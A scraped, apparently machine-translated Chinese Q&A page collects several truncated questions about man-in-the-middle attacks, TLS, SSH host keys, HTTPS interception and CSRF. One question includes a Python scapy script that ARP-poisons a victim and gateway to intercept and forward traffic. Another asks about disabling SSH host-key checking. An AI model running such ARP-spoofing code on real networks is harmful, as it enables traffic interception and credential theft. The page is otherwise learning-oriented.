我重新安装了我的服务器,我收到这些消息:
[user@hostname ~]$ ssh root@pong
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
6e:45:f9:a8:af:38:3d:a1:a5:c7:76:1d:02:f8:77:00.
Please contact your system administrator.
Add correct host key in /home/hostname /.ssh/known_hosts to get rid of this message.
Offending RSA key …Run Code Online (Sandbox Code Playgroud) 我已经阅读了大量与此问题相关的文档,但我仍然无法将所有内容整合在一起,所以我想问几个问题.
首先,我将简要描述一下我理解的身份验证过程,因为我在这方面可能会弄错:客户端启动连接,服务器使用公钥,某些元数据和数字签名来响应信任的权威.然后客户端决定是否信任服务器,使用公钥加密一些随机会话密钥并将其发回.该会话密钥只能用存储在服务器上的私钥解密.服务器执行此操作,然后HTTPS会话开始.
那么,如果我在上面是正确的,问题是如何在这种情况下发生中间人攻击?我的意思是,即使有人用公钥拦截服务器(例如www.server.com)的响应并且有一些方法让我认为他是www.server.com,他仍然无法解密我的会话密钥没有私钥.
谈到相互认证,是关于服务器对客户身份的信心吗?我的意思是,客户端已经可以确定她正在与正确的服务器进行通信,但现在服务器想要找出客户端是谁,对吧?
最后一个问题是关于相互认证的替代方案.如果我在所描述的情况下充当客户端,如果在SSL会话建立后在HTTP头中发送登录名/密码怎么办?正如我所看到的,这些信息无法被截获,因为连接已经被保护,服务器可以依赖它进行识别.我错了吗?与相互身份验证相比,这种方法有哪些缺点(只有安全问题很重要,而不是实现复杂性)?
假设我所在的网络有 MITM SSL 交换防火墙(google.com 不是由 Google 颁发的,而是由自定义 CA 根权限重新颁发的),这里有更多详细信息https://security.stackexchange.com/questions/107542/is- it-common-practice-for-companies-to-mitm-https-traffic。
我有简单的 Dockerfile:
FROM alpine:latest
RUN apk --no-cache add curl
Run Code Online (Sandbox Code Playgroud)
它因 SSL 错误而严重失败
=> ERROR [2/2] RUN apk --no-cache add curl 1.0s
------
> [2/2] RUN apk --no-cache add curl:
#5 0.265 fetch https://dl-cdn.alpinelinux.org/alpine/v3.13/main/x86_64/APKINDEX.tar.gz
#5 0.647 140037857143624:error:1416F086:SSL routines:tls_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1913:
#5 0.649 WARNING: Ignoring https://dl-cdn.alpinelinux.org/alpine/v3.13/main: Permission denied
#5 0.649 fetch https://dl-cdn.alpinelinux.org/alpine/v3.13/community/x86_64/APKINDEX.tar.gz
#5 0.938 140037857143624:error:1416F086:SSL routines:tls_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1913:
#5 0.940 WARNING: Ignoring https://dl-cdn.alpinelinux.org/alpine/v3.13/community: Permission denied
#5 0.941 ERROR: unable to …Run Code Online (Sandbox Code Playgroud) 我有一个与远程Web服务对话的本地应用程序(我没有写,也无法更改).它使用HTTPS,我想看看流量中有什么.
有什么方法可以做到这一点吗?我更喜欢Windows系统,但我很乐意在Linux上设置代理,如果这样可以让事情变得更容易.
我在考虑什么:
这听起来合情合理吗?WireShark能否真正看到HTTPS流量中的内容?任何人都可以指向合适的代理(并配置相同的代理)吗?
此外,对于HTTPS请求,严格的引用检查由CsrfViewMiddleware完成.这对于解决在使用会话无关nonce时在HTTPS下可能发生的中间人攻击是必要的,因为HTTP'Set-Cookie'标头(不幸地)被正在与之交谈的客户端接受HTTPS下的网站.(对HTTP请求不进行引用检查,因为在HTTP下,Referer头的存在不够可靠.)
我无法想象这次攻击的工作原理.有人可以解释一下吗?
更新:
Django文档中的措辞似乎意味着存在一种特定类型的中间人攻击(这导致我假设成功的CSRF),它与会话无关的随机数(但不是特定于事务) nonce等,我想)并涉及使用'Set-Cookie'标题.
所以我想知道这种特定类型的攻击是如何起作用的.
我不是网络安全方面的专家,所以原谅如果这个问题不是很聪明:).我正在使用ssh自动登录到某些机器.我目前正在避免使用主机密钥警告StrictHostKeyChecking no.
我天真地明白,有人可以冒充服务器,如果是这样的话,我可能会失去我的密码.但是,如果我只使用基于公钥/私钥的身份验证(使用PasswordAuthentication no),入侵者是否仍会造成伤害?
所以基本上,用ssh -o "StrictHostKeyChecking no" -o "PasswordAuthentication no":
1)入侵者可以破译我的私钥吗?
2)是否还有其他安全威胁?
问候,
J.P
我正试图scapy在测试网络上做一个中间人攻击的人.我的设置是这样的:

现在你明白了,这是代码:
from scapy.all import *
import multiprocessing
import time
class MITM:
packets=[]
def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def routep(self,packet):
if packet.haslayer(IP):
packet.show()
if packet[IP].dst==self.victim[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.victim[1]
elif packet[IP].dst==self.node2[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.node2[1]
self.packets.append(packet)
packet.display()
send(packet)
print len(self.packets)
if len(self.packets)==10:
wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b)
send(a)
time.sleep(5)
#cond=False
if …Run Code Online (Sandbox Code Playgroud) 我今天做了一个有趣的实验.
我在浏览器中打开了Amazon.com,登录,提起了Fiddler,并试图添加一张全新的信用卡.
我输入了我的信用卡号,到期日和持卡人姓名.当我提交请求时,我没有在Fiddler看到任何亚马逊的POST.用户界面表示提交我的信息时出现问题,我应该再试一次.
我重复了一遍并得到了相同的回应.
我关闭了Fiddler并点击提交.我的信息立即被接受.
我想知道亚马逊是如何完成这项壮举的.这是常识吗?是否有涉及证书的HTTP标头使其变得简单?
质询 - 响应身份验证如何防止中间人攻击?我阅读了维基文章但仍然无法理解.
security authentication man-in-the-middle challenge-response